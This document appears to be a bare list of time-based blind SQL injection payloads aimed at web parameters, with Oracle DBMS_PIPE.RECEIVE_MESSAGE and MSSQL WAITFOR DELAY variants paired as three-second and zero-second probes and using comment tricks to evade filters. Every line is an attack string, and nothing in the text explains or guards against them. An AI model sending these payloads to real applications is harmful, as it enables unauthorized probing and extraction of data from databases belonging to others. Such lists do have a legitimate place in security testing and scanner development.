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12345678//and//2=DBMS_PIPE.RECEIVE_MESSAGE('a',3)

12345678//and//1=DBMS_PIPE.RECEIVE_MESSAGE('f',0)

12345678'and(select+1)>0waitfor/**/delay'0:0:3

12345678'and(select+1)>0waitfor/**/delay'0:0:0

12345678//and(select+1)>0waitfor//delay'0:0:3'/**/

12345678//and(select+1)>0waitfor//delay'0:0:0'/**/

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12345678

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